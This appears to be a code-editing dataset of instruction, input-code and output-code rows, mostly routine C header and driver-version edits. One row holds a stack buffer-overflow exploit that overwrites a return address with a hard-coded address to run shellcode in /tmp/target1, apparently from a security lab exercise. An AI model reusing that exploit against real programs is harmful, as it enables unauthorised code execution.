Instruction
stringlengths
14
778
input_code
stringlengths
0
4.24k
output_code
stringlengths
1
5.44k
Write debugCallbackFatal in terms of debugCallback
#include <stdio.h> #include <stdlib.h> #include <vulkan/vulkan.h> VKAPI_ATTR VkBool32 VKAPI_CALL debugCallback(VkDebugUtilsMessageSeverityFlagBitsEXT messageSeverity, VkDebugUtilsMessageTypeFlagsEXT messageType, const VkDebugUtilsMessengerCallbackDataEXT *pCallbackData, void *...
#include <stdio.h> #include <stdlib.h> #include <vulkan/vulkan.h> VKAPI_ATTR VkBool32 VKAPI_CALL debugCallback(VkDebugUtilsMessageSeverityFlagBitsEXT messageSeverity, VkDebugUtilsMessageTypeFlagsEXT messageType, const VkDebugUtilsMessengerCallbackDataEXT *pCallbackData, void *...
Fix compile warning on Windows: C4273: 'threadingzeug::parallel_for' : inconsistent dll linkage
#pragma once #include <functional> #include <vector> #include <threadingzeug/threadingzeug.h> namespace threadingzeug { template<typename T> THREADINGZEUG_API void parallel_for(const std::vector<T>& elements, std::function<void(const T& element)> callback); template<typename T> THREADINGZEUG_API void parallel_for(...
#pragma once #include <functional> #include <vector> #include <threadingzeug/threadingzeug.h> namespace threadingzeug { template<typename T> void parallel_for(const std::vector<T>& elements, std::function<void(const T& element)> callback); template<typename T> void parallel_for(std::vector<T>& elements, std::funct...
Update for sqmodule API change.
#define MODULE sample #include <sqmodule.h> #include <stdio.h> DECLARE_SQAPI static SQInteger func(HSQUIRRELVM v) { static char s[] = "Hello, modules!"; SQAPI(pushstring)(v, s, sizeof(s) - 1); return 1; } // Module init function SQRESULT MODULE_INIT(HSQUIRRELVM v, HSQAPI api) { printf("in sqmodule_l...
#define MODULE sample #include <sqmodule.h> #include <stdio.h> DECLARE_SQAPI static SQInteger func(HSQUIRRELVM v) { static char s[] = "Hello, modules!"; SQAPI(pushstring)(v, s, sizeof(s) - 1); return 1; } // Module init function SQRESULT MODULE_INIT(HSQUIRRELVM v, HSQAPI api) { printf("in sqmodule_l...
Fix indentation and update comment.
// Copyright 2019 Oath Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. # pragma once #include <vespa/vespalib/datastore/entryref.h> namespace search::memoryindex { /** * Entry per document in memory index posting list. */ class PostingListEntry { mutable datastore::En...
// Copyright 2019 Oath Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. # pragma once #include <vespa/vespalib/datastore/entryref.h> namespace search::memoryindex { /** * Entry per document in memory index posting list. */ class PostingListEntry { mutable datastore::En...
Allow the trace output by mbed error to be conditional of NDEBUG.
/* mbed Microcontroller Library * Copyright (c) 2006-2013 ARM Limited * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless re...
/* mbed Microcontroller Library * Copyright (c) 2006-2013 ARM Limited * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless re...
Add global foundation import to umbrella header
// // ResponseDetective.h // // Copyright (c) 2016 Netguru Sp. z o.o. All rights reserved. // Licensed under the MIT License. // /// Project version number for ResponseDetective. extern double ResponseDetectiveVersionNumber; /// Project version string for ResponseDetective. extern const unsigned char ResponseDetectiv...
// // ResponseDetective.h // // Copyright (c) 2016 Netguru Sp. z o.o. All rights reserved. // Licensed under the MIT License. // /// Project version number for ResponseDetective. extern double ResponseDetectiveVersionNumber; /// Project version string for ResponseDetective. extern const unsigned char ResponseDetectiv...
Add Address, Port and IoService classes in namespace socket, and complete classes' declaration.
#ifndef _SOCKET_H_ #define _SOCKET_H_ namespace bittorrent { namespace socket { struct Buffer { Buffer(char *b, std::size_t bl) : buf(b), buflen(bl), used(0) { } char *buf; std::size_t buflen; std::size_t used; }; ...
#ifndef _SOCKET_H_ #define _SOCKET_H_ #include <WinSock2.h> #include <cstddef> namespace bittorrent { namespace socket { struct Buffer { Buffer(char *b, std::size_t bl) : buf(b), buflen(bl), used(0) { } char *buf; std::size_t buflen; ...
Update driver version to 5.03.00-k5
/* * QLogic iSCSI HBA Driver * Copyright (c) 2003-2012 QLogic Corporation * * See LICENSE.qla4xxx for copyright and licensing details. */ #define QLA4XXX_DRIVER_VERSION "5.03.00-k4"
/* * QLogic iSCSI HBA Driver * Copyright (c) 2003-2012 QLogic Corporation * * See LICENSE.qla4xxx for copyright and licensing details. */ #define QLA4XXX_DRIVER_VERSION "5.03.00-k5"
Update driver version to 5.03.00-k4
/* * QLogic iSCSI HBA Driver * Copyright (c) 2003-2012 QLogic Corporation * * See LICENSE.qla4xxx for copyright and licensing details. */ #define QLA4XXX_DRIVER_VERSION "5.03.00-k3"
/* * QLogic iSCSI HBA Driver * Copyright (c) 2003-2012 QLogic Corporation * * See LICENSE.qla4xxx for copyright and licensing details. */ #define QLA4XXX_DRIVER_VERSION "5.03.00-k4"
Update driver version to 5.03.00-k9
/* * QLogic iSCSI HBA Driver * Copyright (c) 2003-2012 QLogic Corporation * * See LICENSE.qla4xxx for copyright and licensing details. */ #define QLA4XXX_DRIVER_VERSION "5.03.00-k8"
/* * QLogic iSCSI HBA Driver * Copyright (c) 2003-2012 QLogic Corporation * * See LICENSE.qla4xxx for copyright and licensing details. */ #define QLA4XXX_DRIVER_VERSION "5.03.00-k9"
Add descriptions of the CC's
/* * registers.h */ #ifndef REGISTERS_H #define REGISTERS_H #define REGSIZE 8 /* number of registers */ /* Program Registers */ #define EAX 0x0 #define ECX 0x1 #define EDX 0x2 #define EBX 0x3 #define ESP 0x4 #define EBP 0x5 #define ESI 0x6 #define EDI 0x7 #define RNONE 0xf /* i.e. - no register needed */ /...
/* * registers.h */ #ifndef REGISTERS_H #define REGISTERS_H #define REGSIZE 8 /* number of registers */ /* Program Registers */ #define EAX 0x0 #define ECX 0x1 #define EDX 0x2 #define EBX 0x3 #define ESP 0x4 #define EBP 0x5 #define ESI 0x6 #define EDI 0x7 #define RNONE 0xf /* i.e. - no register needed */ /...
Add documentation in doxygen style (use JAVA_BRIEF)
/****************************************************************************/ /* This file is part of the Simbatch project */ /* written by Jean-Sebastien Gay, ENS Lyon */ /* */ /* C...
/****************************************************************************/ /* This file is part of the Simbatch project. */ /* written by Jean-Sebastien Gay and Ghislain Charrier, ENS Lyon. */ /* */ /* C...
Fix forward lval struct declaration
#ifndef __VALUES_H__ # define __VALUES_H__ #include "mpc.h" typedef struct { int type; long num; /* Error and Symbol types have some string data */ char* err; char* sym; /* Count and Pointer to a list of "lval*" */ int ...
#ifndef __VALUES_H__ # define __VALUES_H__ #include "mpc.h" typedef struct s_lval { int type; long num; /* Error and Symbol types have some string data */ char* err; char* sym; /* Count and Pointer to a list of "lval*" */...
Use run time parameters to control LE features
/* * Copyright 2013 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applica...
/* * Copyright 2013 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applica...
Edit comments so they align with our C-- spec
extern void print_int(int x); extern void print_string(char c[]); int x; char c; void main(void){ // check signed-ness of char -> int conversion x = -1; c = x; print_string("should get -1\ngot: "); print_int(c); print_string("\n\n"); x = -2147483647; print_string("should get -2147483...
extern void print_int(int x); extern void print_string(char c[]); int x; char c; void main(void){ /* check signed-ness of char -> int conversion */ x = -1; c = x; print_string("should get -1\ngot: "); print_int(c); print_string("\n\n"); x = -2147483647; print_string("should get -2147...
Fix typo in Monotonic Counter GUID macro name
/** @file Monotonic Counter Architectural Protocol as defined in PI SPEC VOLUME 2 DXE This code provides the services required to access the systems monotonic counter Copyright (c) 2006 - 2008, Intel Corporation All rights reserved. This program a...
/** @file Monotonic Counter Architectural Protocol as defined in PI SPEC VOLUME 2 DXE This code provides the services required to access the systems monotonic counter Copyright (c) 2006 - 2010, Intel Corporation All rights reserved. This program a...
Fix build on FreeBSD, which has no alloca.h
/* Define to 1 if you have <alloca.h> and it should be used (not on Ultrix). */ #define HAVE_ALLOCA_H 1 /* Define to 1 if fseeko (and presumably ftello) exists and is declared. */ #define HAVE_FSEEKO 1 /* Define to 1 if you have the `pthread' library (-lpthread). */ #define HAVE_LIBPTHREAD 1 /* Define to 1 if you h...
/* Define to 1 if you have <alloca.h> and it should be used (not on Ultrix). */ #define HAVE_ALLOCA_H 1 /* Define to 1 if fseeko (and presumably ftello) exists and is declared. */ #define HAVE_FSEEKO 1 /* Define to 1 if you have the `pthread' library (-lpthread). */ #define HAVE_LIBPTHREAD 1 /* Define to 1 if you h...
Fix Krazy warnings: explicit - KreBorder
/*************************************************************************** * Copyright © 2004 Jason Kivlighn <jkivlighn@gmail.com> * * * * This program is free software; you can redistribute it and/or modify * * it under th...
/*************************************************************************** * Copyright © 2004 Jason Kivlighn <jkivlighn@gmail.com> * * * * This program is free software; you can redistribute it and/or modify * * it under th...
Add var_eq unsound unknown function invalidate test
// PARAM: --set ana.activated[+] var_eq // ldv-benchmarks: u__linux-concurrency_safety__drivers---net---ethernet---ethoc.ko.cil.c #include <assert.h> struct resource { char const *name ; unsigned long flags ; struct resource *parent ; struct resource *sibling ; struct resource *child ; }; struct resour...
Fix data type for syscall return value to be native word size (ADDRINT rather than INT32) so negative system call return values are passed back correctly
#ifndef __THREAD_INFO_H #define __THREAD_INFO_H #include "globals.h" #include "sift_writer.h" #include "bbv_count.h" #include "pin.H" #include <deque> typedef struct { Sift::Writer *output; std::deque<ADDRINT> *dyn_address_queue; Bbv *bbv; UINT64 thread_num; ADDRINT bbv_base; UINT64 bbv_count; A...
#ifndef __THREAD_INFO_H #define __THREAD_INFO_H #include "globals.h" #include "sift_writer.h" #include "bbv_count.h" #include "pin.H" #include <deque> typedef struct { Sift::Writer *output; std::deque<ADDRINT> *dyn_address_queue; Bbv *bbv; UINT64 thread_num; ADDRINT bbv_base; UINT64 bbv_count; A...
Add note on OAEP version implemented
/* * OAEP * (C) 1999-2007 Jack Lloyd * * Botan is released under the Simplified BSD License (see license.txt) */ #ifndef BOTAN_OAEP_H_ #define BOTAN_OAEP_H_ #include <botan/eme.h> #include <botan/hash.h> namespace Botan { /** * OAEP (called EME1 in IEEE 1363 and in earlier versions of the library) */ class BOTAN_PU...
/* * OAEP * (C) 1999-2007 Jack Lloyd * * Botan is released under the Simplified BSD License (see license.txt) */ #ifndef BOTAN_OAEP_H_ #define BOTAN_OAEP_H_ #include <botan/eme.h> #include <botan/hash.h> namespace Botan { /** * OAEP (called EME1 in IEEE 1363 and in earlier versions of the library) * as specified in...
Add component category for banners
#import <Foundation/Foundation.h> /** * Type for objects that describe a component category to use for fallbacks using `HUBComponentFallbackHandler` * * An application using the Hub Framework can declare any number of categories to use when performing fallback logic * for components, in case an unknown componen...
#import <Foundation/Foundation.h> /** * Type for objects that describe a component category to use for fallbacks using `HUBComponentFallbackHandler` * * An application using the Hub Framework can declare any number of categories to use when performing fallback logic * for components, in case an unknown componen...
Add some more tests for mixing methods and properties.
__attribute__((objc_root_class)) @interface ImplicitProperties - (id)implicitProperty; - (void)setImplicitProperty:(id)implicitProperty; - (void)setAnotherImplicitProperty:(int)implicitProperty; - (int)anotherImplicitProperty; @end __attribute__((objc_root_class)) @interface BadImplicitProperties - (int)nonVoidReturn...
__attribute__((objc_root_class)) @interface ImplicitProperties - (id)implicitProperty; - (void)setImplicitProperty:(id)implicitProperty; - (void)setAnotherImplicitProperty:(int)implicitProperty; - (int)anotherImplicitProperty; @end __attribute__((objc_root_class)) @interface BadImplicitProperties - (int)nonVoidReturn...
Update Skia milestone to 108
/* * Copyright 2016 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef SK_MILESTONE #define SK_MILESTONE 107 #endif
/* * Copyright 2016 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef SK_MILESTONE #define SK_MILESTONE 108 #endif
Add project website to startup message
#include <truth/cpu.h> #include <truth/types.h> #include <truth/log.h> #include <truth/physical_allocator.h> void kernel_main(void *multiboot_tables) { init_interrupts(); enum status unused(status) = init_log("log"); init_physical_allocator(multiboot_tables); logf("The Kernel of Truth\n\tVersion %d.%d....
#include <truth/cpu.h> #include <truth/types.h> #include <truth/log.h> #include <truth/physical_allocator.h> void kernel_main(void *multiboot_tables) { init_interrupts(); enum status unused(status) = init_log("log"); init_physical_allocator(multiboot_tables); logf("The Kernel of Truth\n\tVersion %d.%d....
Remove unused instance variable 'workerPool_'
// // TKDOMProxyMaker.h // TumblKitNG // // Created by uasi on 09/10/31. // Copyright 2009 99cm.org. All rights reserved. // #import <Cocoa/Cocoa.h> #import <WebKit/WebKit.h> #import <ActorKit/ActorKit.h> // TKDOMMaker // // Make a DOMDocument from given URL synchronously // @interface TKDOMMaker : NSObject { ...
// // TKDOMProxyMaker.h // TumblKitNG // // Created by uasi on 09/10/31. // Copyright 2009 99cm.org. All rights reserved. // #import <Cocoa/Cocoa.h> #import <WebKit/WebKit.h> #import <ActorKit/ActorKit.h> // TKDOMMaker // // Make a DOMDocument from given URL synchronously // @interface TKDOMMaker : NSObject { } ...
Add support for edge routing to ports on the periphery of nodes, and splines for multiedges.
/* $Id$Revision: */ /* vim:set shiftwidth=4 ts=8: */ /********************************************************** * This software is part of the graphviz package * * http://www.graphviz.org/ * * * * Copyright (c)...
Add "extern C" stuff for clean compile of tests.
#ifndef CJET_PEER_TESTING_H #define CJET_PEER_TESTING_H #ifdef TESTING #define READ \ fake_read #else #define READ \ read #endif #endif
#ifndef CJET_PEER_TESTING_H #define CJET_PEER_TESTING_H #ifdef TESTING #ifdef __cplusplus extern "C" { #endif ssize_t fake_read(int fd, void *buf, size_t count); #ifdef __cplusplus } #endif #define READ \ fake_read #else #define READ \ read #endif #endif
Add Intel Firmware Version Info (FVI) definitions
/** @file Intel Firmware Version Info (FVI) related definitions. @todo: update document/spec reference Copyright (c) 2016, Intel Corporation. All rights reserved.<BR> This program and the accompanying materials are licensed and made available under the terms and conditions of the BSD License which...
Add an example of C string hex escape quirks
/* * Hex escapes in C code can be confusing; this is non-portable: * * const char *str = "\xffab"; * * GCC will warn: * * warning: hex escape sequence out of range [enabled by default] * * To avoid this, you can e.g. use the following form: * * const char *str = "\xff" "ab"; * * If the C...
Add defines header to toolkit header
// // Toolkit header to include the main headers of the 'AFToolkit' library. // #pragma mark - Common Import #import "AFLogHelper.h" #import "AFFileHelper.h" #import "AFPlatformHelper.h" #import "AFKVO.h" #import "AFArray.h" #import "AFMutableArray.h" #import "UITableViewCell+Universal.h" #import "AFDBClient.h" #imp...
// // Toolkit header to include the main headers of the 'AFToolkit' library. // #import "AFDefines.h" #import "AFLogHelper.h" #import "AFFileHelper.h" #import "AFPlatformHelper.h" #import "AFKVO.h" #import "AFArray.h" #import "AFMutableArray.h" #import "UITableViewCell+Universal.h" #import "AFDBClient.h" #import "AFVi...
Add call_touch to game test
#include <kotaka/paths.h> #include <kotaka/log.h> #include "~/test.h" #include <status.h> static void create() { } void ignite(int count) { call_out("bomb", 0, count); } static void bomb(int quota) { int max; max = (int)sqrt((float)quota); if (quota % max != 0) { max = quota % max; } if (max > quota) { ...
#include <kotaka/paths.h> #include <kotaka/log.h> #include "~/test.h" #include <status.h> static void create() { } void ignite(int count) { call_out("bomb", 0, count); } void touchall() { int i; LOGD->post_message("test", LOG_INFO, "Beginning touch"); call_out("do_touch", 0, status(ST_OTABSIZE) - 1); } stati...
UPDATE changes made to names of variables in the AIComopnent
#ifndef AIDLL_AI_AICOMPONENT_H #define AIDLL_AI_AICOMPONENT_H #include <DirectXMath.h> struct AIComponent { int active = 0; int entityID = -1; int direction; int currentPos; int nextPos; DirectX::XMVECTOR waypoints[8]; }; #endif
#ifndef AIDLL_AI_AICOMPONENT_H #define AIDLL_AI_AICOMPONENT_H #include <DirectXMath.h> struct AIComponent { int active = 0; int entityID = -1; int direction; int currentWaypoint; int nextWaypoint; DirectX::XMVECTOR waypoints[8]; }; #endif
Make sure the sploit points to the correct target
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include "shellcode.h" #define TARGET "/tmp/target2" int main(void) { char *args[3]; char *env[1]; char buf[248]; memset(buf, 0x90, 248); strncpy(buf+195, shellcode, 45); strncpy(buf+244, "\x08\xfd\xff\xbf", 4); //strncpy(bu...
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include "shellcode.h" #define TARGET "/tmp/target1" int main(void) { char *args[3]; char *env[1]; char buf[248]; memset(buf, 0x90, 248); strncpy(buf+195, shellcode, 45); strncpy(buf+244, "\x08\xfd\xff\xbf", 4); //strncpy(bu...
Use a copy property semantics instead of strong.
#import <KPToolbox/KPViewController.h> @class KPNavigationController; @interface KPNavViewController : KPViewController @property(readwrite, weak) KPNavigationController* navigationController; @property(readwrite, strong) NSString* navigationTitle; @property(readwrite, strong) NSButton* backButton; @property(read...
#import <KPToolbox/KPViewController.h> @class KPNavigationController; @interface KPNavViewController : KPViewController @property(readwrite, weak) KPNavigationController* navigationController; @property(readwrite, copy) NSString* navigationTitle; @property(readwrite, strong) NSButton* backButton; @property(readwr...
Make adjacent difference getter consistent with other providers
#ifndef ADJACENT_DIFFERENCE_STREAM_PROVIDER_H #define ADJACENT_DIFFERENCE_STREAM_PROVIDER_H #include "StreamProvider.h" #include "Utility.h" template<typename T, typename Subtractor> class AdjacentDifferenceStreamProvider : public StreamProvider<ReturnType<Subtractor, T&, T&>> { public: using DiffType = Retu...
#ifndef ADJACENT_DIFFERENCE_STREAM_PROVIDER_H #define ADJACENT_DIFFERENCE_STREAM_PROVIDER_H #include "StreamProvider.h" #include "Utility.h" template<typename T, typename Subtractor> class AdjacentDifferenceStreamProvider : public StreamProvider<ReturnType<Subtractor, T&, T&>> { public: using DiffType = Retu...
Add documentation for the laco_dispatch function
#ifndef LACO_COMMANDS_H #define LACO_COMMANDS_H struct LacoState; typedef void (*LacoHandler)(struct LacoState* laco, const char** arguments); struct LacoCommand { const char** matches; LacoHandler handler; }; void laco_dispatch(const struct LacoCommand* commands, struct LacoState* laco, cons...
#ifndef LACO_COMMANDS_H #define LACO_COMMANDS_H struct LacoState; typedef void (*LacoHandler)(struct LacoState* laco, const char** arguments); struct LacoCommand { const char** matches; LacoHandler handler; }; /** * Goes through each instance from the list of commands and see if there is * a match with for co...
Append the test runs with '&&'.
// RUN: clang -checker-simple -verify %s // RUN: clang -checker-simple -analyzer-store-region -verify %s struct s { int data; int data_array[10]; }; typedef struct { int data; } STYPE; void g1(struct s* p); void f(void) { int a[10]; int (*p)[10]; p = &a; (*p)[3] = 1; struct s d; struct s *q; ...
// RUN: clang -checker-simple -verify %s && // RUN: clang -checker-simple -analyzer-store-region -verify %s struct s { int data; int data_array[10]; }; typedef struct { int data; } STYPE; void g1(struct s* p); void f(void) { int a[10]; int (*p)[10]; p = &a; (*p)[3] = 1; struct s d; struct s *q;...
Reduce ticks to 250 to use 8bit diff
#include <stdint.h> #include "stm8s208s.h" void main(void) { MEMLOC(CLK_CKDIVR) = 0x00; // Set the frequency to 16 MHz BITSET(CLK_PCKENR1, 7); // Configure timer // 1000 ticks per second MEMLOC(TIM1_PSCRH) = (16000>>8); MEMLOC(TIM1_PSCRL) = (uint8_t)(16000 & 0xff); // Enable timer MEML...
#include <stdint.h> #include "stm8s208s.h" void main(void) { MEMLOC(CLK_CKDIVR) = 0x00; /* Set the frequency to 16 MHz */ BITSET(CLK_PCKENR1, 7); /* Enable clk to TIM1 */ // Configure timer // 250 ticks per second MEMLOC(TIM1_PSCRH) = (64000>>8); MEMLOC(TIM1_PSCRL) = (uint8_t)(64000 & 0xff); ...
Fix typo in test description
#include "maxminddb_test_helper.h" void run_tests(int mode, const char *mode_desc) { const char *filename = "MaxMind-DB-test-decoder.mmdb"; const char *path = test_database_path(filename); MMDB_s *mmdb = open_ok(path, mode, mode_desc); free((void *)path); const char *ip = "1.1.1.1"; MMDB_looku...
#include "maxminddb_test_helper.h" void run_tests(int mode, const char *mode_desc) { const char *filename = "MaxMind-DB-test-decoder.mmdb"; const char *path = test_database_path(filename); MMDB_s *mmdb = open_ok(path, mode, mode_desc); free((void *)path); const char *ip = "1.1.1.1"; MMDB_looku...
Split APPLE operating system to IOS and MAC
// // Created by dar on 1/29/16. // #ifndef C003_OS_H #define C003_OS_H enum class OS { WIN32 = 0, UNIX, ANDROID, APPLE }; constexpr const OS OPERATING_SYTEM = #ifdef _WIN32 OS::WIN32 #elif __APPLE__ OS::APPLE #elif __ANDROID__ OS::ANDROID #elif __unix__ OS::UNIX #endif ; constexpr c...
// // Created by dar on 1/29/16. // #ifndef C003_OS_H #define C003_OS_H enum class OS { WIN32 = 0, UNIX, ANDROID, IOS, MAC }; #ifdef __APPLE__ #include "TargetConditionals.h" #endif constexpr const OS OPERATING_SYTEM = #ifdef _WIN32 OS::WIN32 #elif __APPLE__ #if TARGET_IPHONE_SIMULATOR |...
Use value from CODATA 2010.
#ifndef LIBEFP_PHYS_CONST_H #define LIBEFP_PHYS_CONST_H /* Bohr radius in angstroms */ #define BOHR_RADIUS 0.52917724924 #endif /* LIBEFP_PHYS_CONST_H */
#ifndef LIBEFP_PHYS_CONST_H #define LIBEFP_PHYS_CONST_H /* Bohr radius in angstroms */ #define BOHR_RADIUS 0.52917721092 #endif /* LIBEFP_PHYS_CONST_H */
Add power down mode for idle circle
/** * @file * @brief Implements ARCH interface for sparc processors * * @date 14.02.10 * @author Eldar Abusalimov */ #include <hal/arch.h> #include <asm/cache.h> #include <hal/ipl.h> void arch_init(void) { cache_enable(); } void arch_idle(void) { } unsigned int arch_excep_disable(void) { unsigned int ret; ...
/** * @file * @brief Implements ARCH interface for sparc processors * * @date 14.02.10 * @author Eldar Abusalimov */ #include <hal/arch.h> #include <asm/cache.h> #include <hal/ipl.h> void arch_init(void) { cache_enable(); } void arch_idle(void) { __asm__ __volatile__ ("wr %g0, %asr19"); } unsigned int arch_...
Fix function names in Random comment
#ifndef __MINTPACK_RANDOM_H__ #define __MINTPACK_RANDOM_H__ #include <mintomic/mintomic.h> //------------------------------------- // PRNG that seeds itself using various information from the environment. // generate() is uniformly distributed across all 32-bit integer values. // generateUnique() returns unique i...
#ifndef __MINTPACK_RANDOM_H__ #define __MINTPACK_RANDOM_H__ #include <mintomic/mintomic.h> //------------------------------------- // PRNG that seeds itself using various information from the environment. // generate32() is uniformly distributed across all 32-bit integer values. // generateUnique32() returns uniq...
Update driver version to 5.04.00-k0
/* * QLogic iSCSI HBA Driver * Copyright (c) 2003-2013 QLogic Corporation * * See LICENSE.qla4xxx for copyright and licensing details. */ #define QLA4XXX_DRIVER_VERSION "5.03.00-k11"
/* * QLogic iSCSI HBA Driver * Copyright (c) 2003-2013 QLogic Corporation * * See LICENSE.qla4xxx for copyright and licensing details. */ #define QLA4XXX_DRIVER_VERSION "5.04.00-k0"
Tweak to allow building on metro.
#ifdef _WIN32 #include <time.h> #include <winsock2.h> #include <windows.h> #if defined(_MSC_VER) || defined(_MSC_EXTENSIONS) #define DELTA_EPOCH_IN_MICROSECS 11644473600000000Ui64 #else #define DELTA_EPOCH_IN_MICROSECS 11644473600000000ULL #endif struct timeval; int gettimeofday(struct timeval *tv, struct timezone ...
#ifdef _WIN32 #include <time.h> #ifndef METRO #include <winsock2.h> #endif #include <windows.h> #if defined(_MSC_VER) || defined(_MSC_EXTENSIONS) #define DELTA_EPOCH_IN_MICROSECS 11644473600000000Ui64 #else #define DELTA_EPOCH_IN_MICROSECS 11644473600000000ULL #endif struct timeval; int gettimeofday(struct timeval ...
Include config.h, patch by Ralf Wildenhues.
#ifndef CRITMEM_H #define CRITMEM_H #include <sys/types.h> /*@only@*//*@out@*//*@notnull@*/ void *mycritmalloc(const char *f, long, size_t size, const char *message); /*@only@*//*@notnull@*/ void *mycritcalloc(const char *f, long, size_t size, const char *message); /*@only@*//*@out@*//*@notnull@*/ void ...
#ifndef CRITMEM_H #define CRITMEM_H #include "config.h" #include <sys/types.h> /*@only@*//*@out@*//*@notnull@*/ void *mycritmalloc(const char *f, long, size_t size, const char *message); /*@only@*//*@notnull@*/ void *mycritcalloc(const char *f, long, size_t size, const char *message); /*@only@*//*@out@*...
Add test case for r194593
// RUN: %clang -target arm-none-gnueabi -mrestrict-it -### %s 2> %t // RUN: FileCheck --check-prefix=CHECK-RESTRICTED < %t %s // RUN: %clang -target armv8a-none-gnueabi -mrestrict-it -### %s 2> %t // RUN: FileCheck --check-prefix=CHECK-RESTRICTED < %t %s // CHECK-RESTRICTED: "-backend-option" "-arm-restrict-it" // R...
Add 'runnable' callback to ExecutionObserver
/* * Copyright (c) 2015, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * */ #pragma once...
/* * Copyright (c) 2015, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * */ #pragma once...
Make syscalls from C/inline assembler
// gcc -mpreferred-stack-boundary=2 -ggdb syscall_inline.c -o syscall_inline // syscall.s in inline asm: print to stdout and exit from inline assembler #include <stdio.h> void f() { char* str = "hi\n"; __asm__( // write str (first local variable, at %ebp-4) "movl $4, %eax \n\t" "movl $1, %ebx \n\t" ...
Add a macro to determine whether a GET command
/* USB commands use the first byte as the 'type' variable. * Subsequent bytes are generally the 'arguments'. * So host->device usb packets usually look like: * [command, arg1, arg2, 0, 0, ... , 0, 0] * to which the device will respond with * [CMD_ACK, command, 0, 0, 0 ..., 0, 0] * * The exception to this, are th...
/* USB commands use the first byte as the 'type' variable. * Subsequent bytes are generally the 'arguments'. * So host->device usb packets usually look like: * [command, arg1, arg2, 0, 0, ... , 0, 0] * to which the device will respond with * [CMD_ACK, command, 0, 0, 0 ..., 0, 0] * * The exception to this, are th...
Add a third slash for Xcode
// // NSUserDefaults+RACSupport.h // ReactiveCocoa // // Created by Matt Diephouse on 12/19/13. // Copyright (c) 2013 GitHub, Inc. All rights reserved. // #import <Foundation/Foundation.h> @class RACChannelTerminal; @interface NSUserDefaults (RACSupport) // Creates and returns a terminal for binding the user de...
// // NSUserDefaults+RACSupport.h // ReactiveCocoa // // Created by Matt Diephouse on 12/19/13. // Copyright (c) 2013 GitHub, Inc. All rights reserved. // #import <Foundation/Foundation.h> @class RACChannelTerminal; @interface NSUserDefaults (RACSupport) /// Creates and returns a terminal for binding the user d...
Change framework app name, comopany, version, and window debug
#include "pebble_os.h" #include "pebble_app.h" #include "pebble_fonts.h" #define MY_UUID { 0xE3, 0x7B, 0xFC, 0xE9, 0x30, 0xD7, 0x4B, 0xC3, 0x96, 0x93, 0x15, 0x0C, 0x35, 0xDC, 0xB8, 0x58 } PBL_APP_INFO(MY_UUID, "Template App", "Your Company", 1, 0, /* App version */ DEFAULT_MENU_...
#include "pebble_os.h" #include "pebble_app.h" #include "pebble_fonts.h" #define MY_UUID { 0xE3, 0x7B, 0xFC, 0xE9, 0x30, 0xD7, 0x4B, 0xC3, 0x96, 0x93, 0x15, 0x0C, 0x35, 0xDC, 0xB8, 0x58 } PBL_APP_INFO(MY_UUID, "Puddle", "Jon Speicher", 0, 1, /* App version */ DEFAULT_MENU_ICON, ...
Add system page size constant.
// Copyright (c) 2012-2013, the scalloc Project Authors. All rights reserved. // Please see the AUTHORS file for details. Use of this source code is governed // by a BSD license that can be found in the LICENSE file. #ifndef SCALLOC_COMMON_H_ #define SCALLOC_COMMON_H_ #define UNLIKELY(x) __builtin_expect((x), 0) ...
// Copyright (c) 2012-2013, the scalloc Project Authors. All rights reserved. // Please see the AUTHORS file for details. Use of this source code is governed // by a BSD license that can be found in the LICENSE file. #ifndef SCALLOC_COMMON_H_ #define SCALLOC_COMMON_H_ #define UNLIKELY(x) __builtin_expect((x), 0) ...
Add flag to stage API change
/* * Copyright 2017 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef SkUserConfigManual_DEFINED #define SkUserConfigManual_DEFINED #define GR_TEST_UTILS 1 #define SK_BUILD_FOR_ANDROID_FRAMEWORK #define SK_DEFAULT_FONT_CACHE_LIMIT ...
/* * Copyright 2017 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef SkUserConfigManual_DEFINED #define SkUserConfigManual_DEFINED #define GR_TEST_UTILS 1 #define SK_BUILD_FOR_ANDROID_FRAMEWORK #define SK_DEFAULT_FONT_CACHE_LIMIT ...
Add BSD 3-clause open source header
/* dsemem.h * * routines for managing a free list of DataStackEntry structs * */ #ifndef _DSEMEM_H_ #define _DSEMEM_H_ #include "dataStackEntry.h" DataStackEntry *dse_alloc(void); void dse_free(DataStackEntry *dse); #endif /* _DSEMEM_H_ */
/* * Copyright (c) 2013, Court of the University of Glasgow * All rights reserved. * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * - Redistributions of source code must retain the above copyright notice, * thi...
Allow to define custom program name.
#include <primitives/sw/settings_program_name.h> #if defined(SW_EXECUTABLE) EXPORT_FROM_EXECUTABLE std::string getProgramName() { // this will trigger build error if executable forget to set // PackageDefinitions = true; #ifndef PACKAGE_NAME_CLEAN #error "Set '.PackageDefinitions = true;' on your target." #end...
